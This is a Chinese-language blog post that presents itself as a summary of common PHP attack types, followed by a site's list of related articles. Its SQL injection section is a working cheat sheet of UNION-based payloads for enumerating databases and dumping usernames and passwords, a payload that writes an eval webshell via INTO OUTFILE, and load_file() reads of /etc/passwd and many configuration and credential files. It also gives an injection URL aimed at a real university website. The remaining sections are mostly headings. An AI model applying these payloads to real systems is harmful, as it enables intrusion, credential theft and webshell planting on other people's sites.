PHP常见的几种攻击方式实例小结


Posted in PHP onApril 29, 2019

本文实例总结了PHP常见的几种攻击方式。分享给大家供大家参考,具体如下:

1.SQL Injection(sql注入)

①.暴字段长度 Order by num/*

②.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*

③.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*

④.利用内置函数暴数据库信息

version() database() user()

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系统信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

数据库权限:

and ord(mid(user(),1,1))=114 /* 返回正常说明为root

暴库 (mysql>5.0)

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息  and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法(一个可用字段显示两个数据内容):Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)

条件:

①、知道站点物理路径

②、有足够大的权限(可以用select …. from mysql.user测试)

③、magic_quotes_gpc()=OFF

select '<?php eval($_POST[cmd])?>' into outfile '物理路径' and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini

手工注射时出现的问题:

当注射后页面显示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

这是由于前后编码不一致造成的,

解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以继续注射了。。。

2.XSS (Cross Site Scripting)(跨站脚本攻击)

3.Source Code Revelation(源代码暴露)

可以用php.ini或者htaccess控制

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
</Files>

4.Remote File Inclusion(远程文件包含漏洞)

<?php
$file = $_GET['file']; // “ ../../etc/passwd\0”
if(file_exists('/home/wwwrun' . $file . '.php')){xxx}
?>

5.Session Hijacking(session劫持)

6.Cross Site Request Forgery(跨站请求伪造)

7.Directory Traversal(目录跨越)

希望本文所述对大家PHP程序设计有所帮助。

PHP 相关文章推荐
一个php作的文本留言本的例子(六)
Oct 09 PHP
用php获取本周,上周,本月,上月,本季度日期的代码
Aug 05 PHP
PHP自动选择 连接本地还是远程数据库
Dec 02 PHP
PHP设计模式之责任链模式的深入解析
Jun 13 PHP
解析php中获取系统信息的方法
Jun 25 PHP
解析如何去掉CodeIgniter URL中的index.php
Jun 25 PHP
php学习笔记之面向对象
Nov 08 PHP
php判断访问IP的方法
Jun 19 PHP
php使用strip_tags()去除html标签仍有空白的解决方法
Jul 28 PHP
CMSPRESS 10行代码搞定 PHP无限级分类2
Mar 30 PHP
laravel model模型处理之修改查询或修改字段时的类型格式案例
Oct 17 PHP
laravel框架使用FormRequest进行表单验证,验证异常返回JSON操作示例
Feb 18 PHP
php-fpm重启导致的程序执行中断问题详解
Apr 29 #PHP
详解提高使用Java反射的效率方法
Apr 29 #PHP
Thinkphp整合阿里云OSS图片上传实例代码
Apr 28 #PHP
详解php中生成标准uuid(guid)的方法
Apr 28 #PHP
PHP写API输出的时用echo的原因详解
Apr 28 #PHP
PHP+mysql防止SQL注入的方法小结
Apr 27 #PHP
PHP常用工具函数小结【移除XSS攻击、UTF8与GBK编码转换等】
Apr 27 #PHP
You might like
获得Google PR值的PHP代码
2007/01/28 PHP
Laravel构建即时应用的一种实现方法详解
2017/08/31 PHP
Auntion-TableSort国人写的一个javascript表格排序的东西
2007/11/12 Javascript
Jquery AJAX 框架的使用方法
2009/11/03 Javascript
(跨浏览器基础事件/浏览器检测/判断浏览器)经验代码分享
2013/01/24 Javascript
解析使用js判断只能输入数字、字母等验证的方法(总结)
2013/05/14 Javascript
js 自定义个性下拉选择框示例
2013/08/20 Javascript
jquery实现表单输入时提示文字滑动向上效果
2015/08/10 Javascript
jQuery实现Flash效果上下翻动的中英文导航菜单代码
2015/09/22 Javascript
js中获取 table节点各tr及td的内容简单实例
2016/10/14 Javascript
JS作用域深度解析
2016/12/29 Javascript
js记录点击某个按钮的次数-刷新次数为初始状态的实例
2017/02/15 Javascript
jQuery pager.js 插件动态分页功能实例分析
2019/08/02 jQuery
js构造函数constructor和原型prototype原理与用法实例分析
2020/03/02 Javascript
深入理解python try异常处理机制
2016/06/01 Python
通过5个知识点轻松搞定Python的作用域
2016/09/09 Python
如何利用Python分析出微信朋友男女统计图
2019/01/25 Python
使用Python进行体育竞技分析(预测球队成绩)
2019/05/16 Python
Python脚本利用adb进行手机控制的方法
2019/07/08 Python
python3.6生成器yield用法实例分析
2019/08/23 Python
Python3常用内置方法代码实例
2019/11/18 Python
Python实现读取并写入Excel文件过程解析
2020/05/27 Python
Python抓包并解析json爬虫的完整实例代码
2020/11/03 Python
Pandas之缺失数据的实现
2021/01/06 Python
利用css3画个同心圆示例代码
2017/07/03 HTML / CSS
几个常见的消息中间件(MOM)
2014/01/08 面试题
年终自我鉴定
2013/10/09 职场文书
个人委托书格式
2014/04/04 职场文书
开展批评与自我批评发言材料
2014/05/15 职场文书
学校做一个有道德的人活动方案
2014/08/23 职场文书
信用卡结清证明怎么写
2014/09/13 职场文书
4S店收银员岗位职责
2015/04/07 职场文书
初中生活随笔
2015/08/15 职场文书
总结python多进程multiprocessing的相关知识
2021/06/29 Python
总结三种用 Python 作为小程序后端的方式
2022/05/02 Python